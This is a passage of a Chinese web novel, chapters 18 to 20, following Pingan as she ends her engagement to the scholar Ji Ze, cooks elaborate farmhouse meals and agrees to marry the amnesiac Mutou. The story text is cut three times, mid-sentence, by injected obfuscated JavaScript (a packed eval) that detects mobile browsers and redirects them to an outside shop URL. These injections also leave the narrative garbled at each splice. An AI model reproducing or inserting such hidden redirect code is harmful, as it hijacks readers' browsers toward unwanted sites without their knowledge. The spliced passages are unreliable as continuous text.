季泽以为她还在恼怒先前那盏茶的纠葛，忙不迭拱手替她解释：“表妹幼年丧母，性子是患得患失了些，还请胡娘子莫要与她计较。” 怎么，难道她在他心中就是那样计较不容人的性子，这样上赶着替他亲亲表妹找补。 平安眼眸微阖，微笑应道：“原来你在忧心这个，你且放心，我怎会与她计较，你若不提，我可差点就忘了这茬。” 见平安回到铺中，方娘子揶揄打趣：“看来咱们最近要有口福了？” 平安抿唇淡笑：“八字没一撇的事，惯爱取笑我。” 观她神态拘谨，方娘子只当她羞怯，娇笑几声后甩着帕子悠悠回到对面。 接下来几日，平安并未去许家，家中春耕又开始了。 没有脆肉鲩和精贵鱼卖的日子，每日最多收个百来文，她索性上午早早卖完赶着回家干农活。 18. 杀鱼的第十八天 胡水生早些日子便用水缸浸泡好稻种，这会，田间开辟的秧田已一片嫩绿，焕发盎然生机。 随着一声春雷落下，惊蛰已到，月河村的村民们热火朝天投入春耕大业。 田边小径上，辣蓼草隐藏在众多杂草中间，悄悄萌出串串花苞。 再过段时日，等它开出粉白的小花，便可拿来做成酒曲，酿些甜酒与果酒，想到那甜滋滋的味道，平安口中津液顿生。 最近外边温度见长，她想酿些甜酒解解馋了。 待来到自家田里，不出平安所料，她爷爷果然舍不得钱，这会正赤着脚挖沟渠引水进秧田。 “爷爷。”平安突然出声，吓了胡水生一跳。 他脚下一滑，顺着湿滑的田埂趔趄着便要往田间倒去。 平安赶忙上前扶住，顺势抢过他手中的钉耙，却被胡水生连连拒绝：“你这孩子，去休息吧，我自个能成。” 平安只是倔强地拉着钉耙的木柄，一双眼睛涨得通红。 胡水生见状，只得告软让步：“行吧，我就出来。” 平安这才满意离开，去到堂伯明伯家中。 明伯是二伯爷爷家的幺儿，与她爹年纪相近，这些年对她家一向多有照顾。 他家的秧田还差些火候，今日倒是没急着犁地插秧，平安去时，他正弯腰在菜园除草。 听得平安来意，他理了理草帽，放下锄头就要出门。 见平安上来就论价，明伯忙谦辞：“没事的，亲戚之间帮帮忙都是小事。” 平安劝道：“明伯，找您做我更放心。若是不找您，我找其他人也得出钱。你放着家中的活来我家帮忙，我已经很感激，怎好让你吃亏。” “分这么清作甚。”他小声嘀咕一句。 看着他垂下的头，平安出言将价格敲定，她心中知晓，若真是一文钱没带回家，怕是家中婆娘那边不好交代。 喊来明伯，平安又去王老爷子家喊来他儿子牵牛犁地。 她们家的田不大，两个人耕上半日应当足以将田翻完。 请了两个人帮忙，平安扶着爷爷在路边休息，这才放心回家做午饭。 他们这请人帮忙都需包饭食，过得去的人家都会做上一两个荤菜，再讲究些的务必配上一些酒水。 是以平安从市集回来，便从屠户那里砍了一刀上好的五花肉带回家。 这五花肉，三肥两瘦，肥瘦均匀。 无论是切片爆炒还是文火炖煮，对于常年缺少荤腥的农家来说，都算得上一道油水浓厚的上好的待客菜。 不过，今日她不打算炖煮，她想做一道梅干菜扣肉。 见得平安进门，躲在房中观察的木头欣喜将门打开。 “回来这样早？” “是啊，请了人帮忙耕田，爷爷就松快一点，我得回来做饭。” 两人独处的机会可不多，木头喜得那双勾人的眸子霎时亮晶晶。 他笑得灿烂，脸上神情恣意又朝气：“胡娘子你可真孝顺。” “行了。”平安好笑地寻来去年晒干的干菜洗净泡发，“我会给你留菜，你乖乖的，莫要让人发现了。” “好吧。”说起这个，木头就怏了，他就这样见不得人，那白斩鸡书生就这样好？ 但他也知自己的存在会让她名节受损，只得委委屈屈应下：“我帮你挑水烧火。” “成！” 平安备齐大料葱姜花椒与香油，这才吩咐木头开始烧火。 新鲜的猪肉与姜、花椒一块冷水下锅，入黄酒去腥。 剩余猪肉切片剁碎，可做成肉丸汤。 看平安剁得咚咚作响，一旁烧火的木头跃跃欲试：“好玩吗？” 平安撒入一撮淀粉，将剁成颗粒的肉沫用刀翻拌均匀：“剁一会便翻拌一下，这样做出来的肉丸才细腻筋道。” “明白。”木头兴致勃勃地拿起菜刀操作，这个活可比烧火好玩多了。 看他这孩童模样，平安无奈地摇摇头。 剁肉的功夫，锅中的肉已变色。 下香料葱姜与酱油一同熬煮，如此熬制的酱油吸满浓烈的香料芳香，无论是炒拌还是卤煮，都十分得宜。 煮熟的肉四面均匀抹上酱油上色，入油锅小火煎至表皮微黄起泡。 炸好的五花肉放冷水中浸泡，待表皮被泡至虎皮状捞出。 这样处理的猪皮才会更加蓬松，更好吸收梅干菜的香气与汁水。 另起锅，入猪油与姜片煸香，待姜香蔓延，将金黄的姜片捞出，下梅干菜与秘制酱汁煸炒，最后再倒入些许香油提香。 霎时间，浓郁的鲜香在灶房弥漫，在一旁发愣的木头不禁地咽了咽口水。 自那日吃鸭后，家中已经许久未曾开荤，他看见那一团黑乎乎的剩菜就觉脑仁疼。 今日见着这团深色的梅干菜，他本也有些看不上，但这香味闻着却意外地开胃。 平安并未察觉他的动作，只是埋头将五花肉切成均匀的薄片倒扣在碗中，爆香的梅干菜伴随着沥沥的油汤均匀铺在肉片上，碗口盖盆封住。 “烧火了。” “来了。”木头如梦初醒，赶忙坐下拾柴。 另起锅烧水上蒸笼，平安转身去地里寻觅青菜。 一场春雨过后，菜园里的萝卜菜已撑着翠绿的小伞盖破土而出，平安扯上一篮子，顺道检查院门有无反锁。 这萝卜菜的杆杆晶莹似玉，细如香柱，脆似藕节，摘下来依旧脆生生、水灵灵。也是因着细嫩，扯出来时夹带不少枯草与泥灰，两人蹲地上开始挑捡。 饶是小心翼翼，叶杆也因两人动作折断不少。 将这篮子菜细致淘洗两遍，平安方回到灶房做她的肉丸汤。 待锅中水沸，一个个圆乎乎的小肉球在水中迅速翻滚变色，舀盐调味，盛出备用。 等爷爷他们回家后再下青菜，如此出来的肉丸萝卜菜汤才称得上新鲜细嫩，不会丧失原有的娇嫩口感。 今日人多，两个菜肯定不成，她另敲了两个鸡蛋，撒入少许细盐与冷水拌匀，放进蒸笼蒸一盏茶便正好。 这样做出来的蒸蛋，细腻滑嫩，无蜂窝孔，吃起来比方娘子家的豆腐还嫩。 干体力活，人就总烧胃馋油水，平安自己也是做过苦力的，自然舍得放油。 至于木头，她下了一把青菜进肉丸汤中，夹出几颗肉丸和煮熟的青菜。 等扣肉熟了再给他留上几块，想来也够他吃了。 “安安！”门外响起胡水生的声音。 平安赶忙放下手中碗筷，唤木头藏起来。 “喂~”他不满地睨了平安一眼，此刻那双漂亮眸子里却隐有薄雾，平白让平安看出几分委屈意味。 “快点呀。”平安有些着急。 这不是早就说好的事，要是被人发现，她的名声可就真毁了。 看他半天不动，平安急得拉着他就要去杂物房。 “我没说不去啊。”木头被拉得一个趔趄，一边走一边想伸手揉自己被捏痛的胳膊。 “放。”木头瞬间回神止言，喜滋滋地看着平安拉他的手，他这段时日果真有进步，嘿嘿。 平安哪管他在发什么春，她将夹好的菜碗往他怀中一塞，快速关了门。 饭桌上，酱色的肉片被撒了一撮葱花，呈圆半圆状叠放在碟中，四周是一圈甘香诱人，油水丰厚的梅干菜。 蒸蛋颜色金黄，表面光滑，瞧着颤颤巍巍，不用吃便可想象它的细嫩。 一旁的肉丸汤，肉丸精致圆润，青菜细嫩碧绿，看起来满满当当，清澈干净。 看着眼前这丰盛的菜肴，明伯和王山两人喜不自胜，连声夸赞太过客气。 “小意思，小意思。”胡水生摆摆手，眼角眉梢却满是得意。 平安突然想起好像没有给木头盛饭，她找了个借口去到灶房，待她蹑手蹑脚去到杂物房寻他时，见到的就是他端着菜碗委屈巴巴的模样。 得了，不仅没盛饭，也没给筷子。 “听话。” 送完东西，她随意哄了他一句，便又朝堂屋走去。 尚未进门，就听得明伯他们在与爷爷议论她的婚事。 “幺叔，你家安安好是好，就是年岁大了，总是迟迟不嫁人这也不是个事。” “这孩子的心思，你们还不知道，都是我拖累了她。” “话不是这么说，哪家娘子长大不嫁人，依我看，幺叔莫要惯着她。” 平安上前的脚步一顿，听得里面话题渐转，劝酒声，谈笑声此起彼伏，这才端着手中的泡萝卜走进去。 “安安这手艺是真不错。”明伯夹了块扣肉赞道。 王山也连连附和。 平安抿唇接纳他们的夸奖，闷声夹了块肉细细品尝起来。 唔，五花肉肥瘦适宜，酱香浓郁，那中间的肥肉更是颤颤巍巍，细腻如膏脂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所幸家中的田犁出也需放水多浸润几日，尚不着急插秧。 看着他厚底的鞋边纤尘未染，平安垂眸，便点头应了，有些事，她应早做决断才是。 许娘子果真守诺，脚店不见了许芳菲的身影。 不过，即使不住她家，那许小娘子家也离这近，平日里来串门探望亦是方便。 她望了眼季泽依旧温润的面庞，心中再也无与他谈论的兴致。 “你，这两日都去哪了？”季泽猝然开口。 “家中农活忙，也就早些收摊回家帮忙。” “哦。”季泽讷讷回应。 他小心地瞥了眼平安，状似不经意地提及过两日便是他同窗的昏礼，届时他得离开几日去青州赴宴。 平安明白他的目的，但在此之前，她想问清几件事。 “说起来，不知许家表妹可许了人家？” 骤闻此言，季泽脸色微变，他嘴唇嗫喏半晌，最终只喃喃道出两字：“尚未。” 平安只做不知他的犹疑，笑道：“我观她对你甚是亲密，还以为你们早已定下亲事。” 季泽猛然抬头，凝视平安。 可与平安沉静无波的眼神对上，他却迅速移开视线。 “不曾。”季泽声音微颤。 显然，这个回答已难以掩藏三分心虚，想来是他曾对许芳菲承诺过什么？ “若我们成婚，你可愿与她断绝往来？” 季泽被平安这直白的话问得眉峰微蹙，他第一次粗声反驳平安提议：“胡娘子，表妹是我亲人，我无论与谁成亲，都不可与她断绝往来。你平日里颇明事理，为何会提出这等要求？” 平安略一颔首，笑着听他继续说。 许是察觉自己方才语气不善，季泽顿了顿，睨了平安一眼，放柔声音：“更何况，表妹待你一向和善，你为何要与她断绝往来？” 看他神色认真，不似作伪，平安便知这是他的真心话。她知这要求过分，本就不期待他答应，她只是想试一试季泽的心。 平安捂嘴轻笑一声：“明白了，今日与你开个玩笑。” “胡娘子这玩笑好生骇人。” 再后面，季泽说了什么，平安已不记得。 毕竟两人今后或将再无交集，他再说些什么，他与表妹如何清白，都与她无关。 19. 杀鱼的第十九天 既然心中已经做下决断，平安也不想再藕断丝连。过几日就要插秧，她想在那之前把事情解决。 季泽回来的日子，恰逢一场淅淅沥沥的春雨。 将档口收拾干净后，平安撑上油伞寻到许家脚店。 这会已过饭点，店里只稀稀散散几个人走动，平安尚未进门，隔老远便看见许芳菲正亲切地拉着许娘子。 她看到平安，凑近许娘子耳边说了些什么，姑侄俩不约而同哈哈大笑起来。 而一旁的季泽，亦含笑望着两人。 许芳菲本就是他们亲人，平安不会自不量力到让他们在自己与她中间抉择。 之前试探季泽，只为验证她的猜想。 她所在意的，一直是信任，只可惜...... 见平安过来，许娘子起身上前，依旧亲密地拉着她的手。 “安安，好久没见到你了。” “是，最近家中农忙。” “我看着胡娘子肤色都晒黑了，倒像个俊郎君。” “你这丫头，促狭。”季泽拟挥手训斥，许小娘子笑嘻嘻抬手躲过。 见平安欲言又止，许娘子拖着她来到后堂。 “好孩子，家中可是有事？”她拉住平安的手，细声安慰。 平安深吸一口气，直视许娘子：“对不住，您之前说的婚事，就此作罢吧。”不论季泽与许芳菲的乌糟事，许娘子待她确实一向和蔼可亲，只是可惜差些缘分。 出乎平安意料的是，许娘子并未多言，很是干脆应下。 事了，还拉着她的手轻声安抚：“好孩子，没事，只当咱们没有这个缘分。” 许娘子是同意了，可季泽却追了出来。 “胡娘子！”他匆匆跑来，一向规整的布巾幞帽，也被风吹得歪歪斜斜。 平安温声应道：“莫急，先歇歇。” 她之前觉得，这郎君虽文弱了些，但也算内敛老实。但领悟到他的本性后，再看着他，心中连一丝波澜也无。 平安有时也在想，她是不是一个没有感情的怪物，每次都能这样收放自如，片叶不沾。 看她这云淡风轻的模样，季泽因为激动而红润的面色霎时惨白。良久，他哑声问道：“你就没有什么想与我说的？” “咱们不合适。” “哪里不合适？明明我出门前你还说等我回来。” 说了吗，平安不记得了，可能那时她随意嗯了一声。 见平安沉默，他顿了顿，轻声问道： “可是因表妹的缘故，我与表妹之间清清白白，你又何苦为难于她。” 为难，真是有些好笑。 看他眼眶微红，平安闭眼放空神思，深吸一口气后，她叹道： “你既心中有许家表妹，又何苦招惹我？” 回答她的是一片沉默，答案显而易见。 原来他知道自己与他表妹有龃龉，也知道自己不喜他与表妹亲近。想到他平日里那样拉偏架，装睁眼瞎，平安就有些想笑。 做事拎不清，凡事不信任她的夫君，她要来是嫌自己活太长吗？ “可男子娶妻纳妾，本是常事。”不多时，季泽低沉的声音幽幽传来。 “是常事，可谁为妻，谁为妾？”若是认识第一日，平安听到他说这话，只会觉得讶异。这会，她只觉得，人心真是易变，不，复杂。 察觉到她松口，季泽神情雀跃，他上前一步急切答道：“表妹善解人意，定然同意为妾，你放心，我定会一碗水端平。” “哧！”平安觉得自己实在无聊透顶，她为何要好奇季泽会说出些什么来。之前还说当妹妹，这会就变成情妹妹。 看来，自己不在这几日，又发生了些什么。 买卖不成仁义在，她现在不想与他们撕破脸皮，是以她只是静静望着季泽：“所以我说咱们不合适，我要招婿上门，孩子得同我姓，你若喜欢许家表妹，你便与她成亲，咱们男婚女嫁各不相干，这是皆大欢喜的事。” 季泽眼眶通红，厉声反问：“你这样急着摆脱我，可是已找好下家了？”听他声音陡然提高，树上的麻雀吓得惊散开来。 他今日的表现倒是与之前一贯羞赧内向的模样大相径庭。 “好聚好散。” 见她这样平静，季泽神色愈发阴沉，他拉住平安衣角，扬声质问：“还说不是？” 说完，他察觉自己冲动，懊恼地垂下头。他抿了抿唇，拉住平安衣角：“你离了我可还能找到读书人？若我日后功成名就，你可会后悔？平安，这几日你再仔细考虑考虑。” 有趣，这样会摆明利益关系，倒是与他以往拘谨害羞的模样大相径庭。 “季郎君，人，不能既要，又要。”平安嘴角挑起一抹轻笑，慢慢扯回自己的衣角。 季泽嘴唇嗫喏，终是慢慢松开了手。 插秧这日，倒是个难得的好日光。天朗气清，莺雀脆啼。 连日的春雨连绵，灶房里引火的稻草都生了霉。平安将灶房里的柴火和稻草搬到院中晾晒，顺便清理一下角落的藕堆。 挑了两根莲藕洗净削皮，露出那白白胖胖的藕节来。 一根湖藕切块与骨头、莲子、百合干炖煮，另一根正好做成松软香甜的藕丸。 她将擂钵取出，拿着藕节便开始打圈摩擦。 不多时，脆嫩雪白的湖藕汁水四溅，化为绵密细腻的藕蓉缓缓沉底。 看平安埋头苦干，一旁无事做的木头搓了搓手，主动请缨：“胡娘子，这样的粗活让我来。” 他嘴上说得大义凛然，但目光却饱含雀跃，平安瞅着，这哪里是怕她辛苦，这是他自个觉得好玩罢了。 但他既想做，平安也乐得清闲。 她挑了个水嫩新鲜的大萝卜，再从地里掐来几根新生的芫荽。 将萝卜芫荽洗净，萝卜削皮切丝，霎时间，灶房中规律明快的切菜声与沉闷的磨藕声间或交错，此起彼伏。 待萝卜切完，平安看了眼汤锅中炖的莲藕排骨汤，尚且差些火候。 一切准备就绪，只待木头将那几节藕杆磨成藕泥。 瞧他那张俊颜这会累得通红，手中的动作越来越慢。 平安好笑地接过他手中的活：“我来接着干吧。” “不，不成。”木头擦了擦额间的汗，颤抖着手推开平安。 看他这副半口气提不上来却仍嘴硬的倔强样，平安只觉好笑，他既说不成，那她也懒得接手。 所幸这会时辰尚早，还有时间给他磨。 平安给爷爷他们送茶水回来，便见木头正站在屋檐下伸懒腰，一会锤锤肩背，一会揉揉手，这架势，好像刚刚干了不少重活一样。 见平安进门，他吓得往后一缩，瞬间停了所有动作，理了理衣衫，这才对她灿烂一笑。 他的心思，早在数日的相处中昭然若揭。 思及此，平安将院门反锁，朝他招了招手。 “胡娘子。”一口白牙，笑容实在晃眼。 “你之前总说，救命之恩无以为报，那我便给你回报的机会，你可愿意。” 木头的表现却不如平安想象中欣喜，他蹙了蹙眉，往后退了几步，紧紧靠着墙壁：“你，你别白费心思给我找家人了，我觉得我在村里过得挺自在。” 平安扑哧一笑，解释道：“你听我说完再做决定不迟，此事若了，以后你若想起来，离开也好，留在这也罢，都随你的便。” “你说说看。”木头狐疑地打量她。 “你若已有家室，就当今日之事未提，咱们各自婚嫁，互不相干。” “我，我未婚配。”平安话音未落，木头焦急地上前一步，出声打断。 “你不是不记得了？”平安反问。 “就是未曾。”木头捂着头，倔强应道。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14069004|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成，咱们成亲，只是孩子得随我姓。” “什么？你再说一遍。”木头不可置信地瞪大眼。 “怎么，你不愿意上门？”平安调笑般反问。做出这等轻率决定，也实乃无奈之举，还有几月她就要满二十，她是真想快点解决这催魂一般的成亲任务。 依她看，若这木头恢复记忆，怕是身上的麻烦事不会比季泽少。 只是那时候的事，那时再想吧，她现在只需一个合适的人选来助她度过眼前难关。 “不，你再说一遍前面那句。”他眨了眨眼睛，一双手激动伸出，又缓缓收回。 “成亲。” “成交。”木头欢快地拉住她的衣袖。 “救命之恩，自当以身相许。”他这会也不摆少爷谱了，若是身后有一条尾巴，怕是早已摇得只见残影。 “那我可说好，你在家中得帮爷爷干活，可不许去外面沾花惹草。” “都听娘子的。” 平安发现，这人很会顺杆爬，嘴上占了她便宜不说，人已经热情无比地拉住她胳膊，亲昵地在她身侧蹭了又蹭。 啊，她觉得，莫不真的是狗崽投的胎吧。 “呸，你这人，咱们还没成亲呢。”她轻啐一口，脸上却无甚怒容。 木头这个人精，哪能不知她是口嫌体正直，拉着她诉说半晌他对她的爱慕之情。 眼见他从河水滔滔说到日月星辰，从两人成亲说到孩子满月。 平安看时间已晚，赶忙推开他，两人一前一后回了灶房忙碌。 除大棒骨外，平安另提了块猪腰打算做个下饭菜。 这会猪腰的血水已浸出，平安片掉白色的腰骚，将处理好的猪腰斜刀切成腰花。 将腰花与葱姜盐一起抓出血水，下清水再度清洗。 另下葱姜蒜花椒酱油芡粉抓拌均匀，平安才有了空拍开一脸傻笑的木头。 “好了，等会爷爷他们要回来了，你乖乖待在房中。” “那咱们的事？” “晚上我同爷爷说。”木头这才乐呵呵去院里劈柴。 莲藕自带的丰富淀粉与藕丝造就了这盘藕丸的神奇之处，只需将藕粉刮成细蓉，无需添加任何东西，便可捏拽成团。 将磨好的藕泥放笊篱上过滤，平安取一团轻轻捏握，适当揉搓后将其放入碗中摇圆。 捏这藕丸看似简单，但这丸子水多则化，水少则裂，如何把控时间与水份，全凭经验。 不多时，数斤的粉藕便已成了一盘白嫩嫩，圆滚滚的藕丸。 待木头进来，柴火熊熊燃烧，平安心痛地挖了几大勺猪油入锅。 藕丸多淀粉，极易粘锅，是以炸它需下宽油，若她抠抠搜搜不舍下油，极有可能油藕两失。 没关系，她心中不断安慰自己，等下剩下的油还可以爆炒腰花，再有剩的盛起来继续用，她没有浪费。 就是此事定不能让她爷发现，否则小老头得心疼得心肝颤颤。 平安拿筷尖试探油温，待筷子四周冒起密集的小泡时，将盘子斜倾滚藕丸下锅。 手是不能去拿的，藕丸内里绵软松散，一捏就得出现裂纹。 白皙圆润的藕丸在热油的慢慢烹炸下，表皮逐渐变得焦黄。 待藕丸外皮炸酥定型，平安拿筷子轻轻翻面。只等藕丸通体金黄，立马执笊篱捞出控油。 再炸下去，颜色变深，则易发苦。若火候不够，则内里不熟。这炸藕丸，须文火慢慢翻滚，切切观察，如此才可里外受热均匀。 撒上白糖，一盘绵软香甜的炸藕丸便新鲜出炉。 给木头一颗藕丸尝鲜，又说了几句好话哄他，这才让他自愿乖乖锁在房中。 这郎君，一开始嫌这嫌那，瞧着不好相处。 但平安发现，他这人吃软不吃硬，随便几句好话就能让他乐得找不着北。 看着挑剔，却如孩童般好哄。 20. 杀鱼的第二十天 今日共做了五道菜，分别是爆炒腰花、莲藕莲子百合汤、炸藕丸，芫荽萝卜丝与清炒苋菜。 这腰花远看颜色搭配得宜，近嗅香气扑鼻，入口细嫩脆爽，咸、香、鲜、辣，各种味道在舌间交织，既可下饭，更可配酒。 莲藕汤更不必说，是当地饭桌常客，炖煮的莲藕呈藕粉色，口感粉糯，香甜又饱腹。 藕丸外酥里嫩，色泽诱人，入口藕香浓郁，香甜绵软。细细咀嚼，内里丝丝绵绵的藕丝与藕茸颗粒在唇齿间交织。 一颗藕丸下肚，齿颊留香，回味无穷。 芫荽萝卜丝水嫩清甜，萝卜与芫荽在烈火的碰撞之下产生一股独特的合香，让人只觉清甜回甘，香气十足。 至于苋菜，这时节正是新鲜冒头的嫩叶子，扯上几把苋菜汆入油汤，汤水红润，这软乎乎的口感，爷爷最是喜欢。 待酒余饭饱，吃几块炖得粉烂的藕块，品一品莲子的粉糯甘甜，喝上一碗泛着丝丝油珠的骨头汤溜溜肚缝。如此一番，才可抚慰辛劳耕种而产生的疲惫。 待休整完毕，平安敏锐发现爷爷走路时腰背僵硬。 她要他在家休息，他却不肯。平安要跟他一起去插秧，他也不愿。爷孙俩争论半晌，以平安一起出门结束。 至于洗碗的活，将院门一锁，便交给木头了。 待三人提着茶壶赶到田间，许多乡邻早已忙碌起来。 她爷爷作的田，第一眼便清晰可辨。放目望去，田埂笔直，田地平整，翠绿的秧苗整整齐齐直立水田。 无论是种秧苗还是菜苗，在爷爷手下皆间距得宜，排得规整又对称，望着很是赏心悦目。 这会见得平安下地，许多人起身笑道：“哟，今天破天荒了，竟看见平安下地干活了。” 胡水生笑着接话：“我家的活多是安安干的，平时你们怕是没注意罢？” 几人一阵插科打诨，将此事揭过。 说话这婶子，自家孙儿比平安小上几岁，平日里别说下地，就是家中扫帚倒了都没扶过，也不知她们如何有颜面来笑她的。 不过有她爷出面护短，她无需多费口舌，埋头多插一排秧才是正道。 翻好的农田被沟渠里引进的溪水浸润数日，表面那层泥土早已被泡得软绵滑腻。 前几日他们先用耙平整聚拢土地，再用耖打混泥浆，忙活许久，才得来这块柔软平整，适合栽种秧苗的水田。 这时节种的是早稻，虽气温渐升，但平安的脚一伸进田间，仍觉这水温凉，只有将脚压进滑腻的泥中，才可得几分暖意。 不过也是因此，田里的蚂蟥尚未苏醒，他们这些农人才少了个致命威胁。 平安自小便是听着村中可怖的蚂蟥传闻长大，年年夏季，农人被蚂蟥咬得流血甚至丧命的事常有发生。 传闻中若是被蚂蟥咬到，那软趴趴的蚂蟥一头扎进肉中，便汩汩吸血。 若是想蛮力拔出，蚂蟥的一头则会断在肉中，继续吸取人的血肉生长，然后在人体内肆意游走。 是以平安对这东西，一向敬而远之。 虽神思远游，但手已习惯性将秧苗深深压入田中。恍神之间，听得爷爷喊道：“安安，别太累着，快去旁边歇歇。” 平安尚未说什么，四周的邻居闻言哈哈大笑，要他莫要惯着孩子。 平安在田里掬了捧水，洗净手上淤泥，抬臂蹭干额间汗液后方朗声应道：“爷爷，我不累，你去歇歇吧。” 自小与他一同生活，平安如今也得了他几分真传，做起事来又快又好，引得旁人纷纷侧目。 “到底还得是年轻人，干劲十足。” “那是。”胡水生笑吟吟应道，“年轻人作甚都干劲足。” 上午他们已插了一亩田，这会三管齐下，速度更是飞快。 平安虽力气大，但一直弯腰做这煎熬的耐力活，在烈日的灼烧下，这会也浑身酸痛，累出一身汗。 汗水早已打湿里衣，湿漉漉地贴在身上，让她觉得浑身黏腻。 将自己这片地插好，她又走到田埂上，提起一把秧苗往爷爷那边走。 她多做一些，爷爷就可以少做一些。 时间在重复的动作中逐渐流逝，不知不觉中，已过申时。 与明伯告别，满身疲惫的爷孙俩相互搀扶着往家中走。 平安摸了摸灶坛里的热水，果然已经凉了，这木头果真是个靠不住的，等成亲后，她高低要好好教育一番。 平安沉默地引火添柴，只待水温升高，再好好冲洗一身泥污。 “嗷嗷~~” 见平安归家，灰灰小白很是热情，摇着尾巴就要往她身上扑。 顾不得身上干不干净，平安当下一手一只，摸得狗儿嘤嘤摇尾。 小狗幼时可爱模样难长久，她得好好珍惜才是。 “哈哈。”她被狗崽的舌刺刮得手心发痒，情不自禁地轻笑出声。 “行了。”平安摸了摸两只的头，低声道，“姐姐去做饭去了，你们乖乖的。” 这会家中无帮工的叔伯，胡水生嘱咐就着中午的剩菜糊弄两口得了。 “这样丰厚的油水，便是拌饭也好吃，咱们可莫浪费了。” “好呢爷爷。” 应是这样应和，她还是从鸡窝里摸来两个鸡蛋，掺上些许盐和水，上锅蒸出一碗鹅黄的嫩蛋羹来。 若是按照当地传统做法，还需得取些许石灰浸泡澄清，取上边滤清的碱水与蛋液混匀。这样蒸出来的蛋羹色泽呈鸭蛋青，入口是淡淡碱味，蛋羹质地比清水蒸蛋更为滑嫩，撒上香油酱汁与葱花，美味又下饭。 只是今日忙，先敷衍一餐再说。 晚饭过后，平安将婚事与爷爷提及。 胡水生捏着酒杯的手一顿，那双深凹进眼眶的浑浊眼珠迟钝地转悠一圈，担忧地看向平安。 良久，他方叹了口气：“安安，这是你选择的路，你确定不会后悔？” 平安瞥了在一旁搓手的木头一眼，推着他去外边拔草施水，这才坐回座位与爷爷相商。 “爷爷，我想好了。” “既然想好了，那想做就去做罢，只是他的身份？”胡水生忧虑地望了眼外头傻笑的木头。 “我已与他说好，到时候他是走是留，都随他便。” “那到时候挑个好日子，就成亲罢。”胡水生起身欲朝外走。 “怎么？”看平安不应，胡水生驻足转身，挑眉看向平安。 “不如就这两天吧。”平安咽了咽口水，小心翼翼提出意见。 “你这孩子，两天咱们怎么办得出来？”胡水生掰了掰手指，“提前通知亲友不说，那办宴席的班子，桌椅板凳的借取，还有你们的婚服，样样都需要时间来筹备。最好，是找个算命先生算个好日子。” 至于家具，胡水生倒是不愁，自捡到平安，他每年都会给她打上几样。 今年打梳妆台，明年打桌椅，来年又去寻摸几颗好树来打床。 就这样，年年积累，他家西厢房里已整整齐齐堆满落灰的新家具。 “爷爷，就随便摆上两桌酒，咱们赚钱不易，还是别破费。” “你这孩子，人生大事，怎能轻易马虎？我就你这一个孙辈，当然只想样样好的捧给你。” “爷爷。”平安眼眶通红，低声唤道。 “只是爷爷没什么本事，一辈子也只会埋头做些苦力活，给不了你好东西。” “爷爷。”平安拉住他藏蓝色的衣角，轻声唤道，“很好，爷爷给我的都很好。” 这世上，她的爷爷是最好的爷爷。 平日里自己省吃俭用，但却对她极其大方，从小从不少着她吃穿。 别人家孩子过节有一文钱零花，她就有三文五文。她想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086006|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做的事，他从不过多指责或强求。 她卖鱼，他就去放地笼，她养脆肉鲩，他就在河堤坡地，湖边路边种满蚕豆。 知晓她爱养花，他只要出门路上遇见家中没有的花花草草，总会问主人家要上两颗，回家给她栽在院墙边。 现在，她家的墙边下都是她爷用砖砌好的一排花坛。 里面种满了爷爷四处寻来的月季、木槿、韭兰、凤仙、杜鹃、茉莉、萱草，一些不知名的紫色红色小花，甚至两棵茶叶树。 既亲事已定好，木头也该放出来见人。 胡水生逢人便介绍这是他婆娘家的表侄杨榆明，家中无人这才来玉溪镇投奔他。 村里人见得木头身量颀长，面如冠玉，当面满是赞誉，背地里却在嘀咕，他哪来的亲戚能养出这样矜贵的俊郎君。 终于可以光明正大在村中闲逛，木头这两日如同脱缰野马，每日在外头玩得乐不思蜀。 村中郎君多生得五大三粗，面容黢黑，乍一闯进木头这样的小白脸，可算搅乱了村中未婚娘子心湖的一池春水。 平安第一次发现，自己在村里这样受小娘子欢迎。 今日这个送她几个果，明日拐角那个追上来送她几颗菜，话里话外都是打听木头。 她们如此行事被家中长辈知晓，一个个回家没少挨批。 “男人长得好看能当饭吃吗？啊！”秀婶狠敲女儿额头，恨铁不成钢地训斥，“一个外地来的破落户，就把你脑子迷晕了，眼睛戳瞎了。无财无地，嫁过去你吃空气，喝西北风，我看是我这些年太惯着你了，养成你这不知世事的无脑性子。” 饶是被家中长辈敲打，那些小娘子也只是明面上有所收敛，她们的小动作但依旧逃不过长辈法眼。 这一段时间，胡水生与平安没少收到村里人的告状，让本就岌岌可危的邻里关系雪上加霜。 就在村中因木头的出现掀起波澜之时，平安与他的婚事逐渐传入众人耳中，这才让这场风暴消弭于无形。只是苦了那些偷偷爱慕他的小娘子，绣帕香囊尚来不及送出，便闻此噩耗。 因着她的亲事有了着落，这几日，胡水生走路带风，敬告各方亲友，将两人婚宴消息传达四方。 作为十里八乡出了名的彪悍娘子，平安这婚事方提上日程，就引得许多亲邻上门参观调侃。 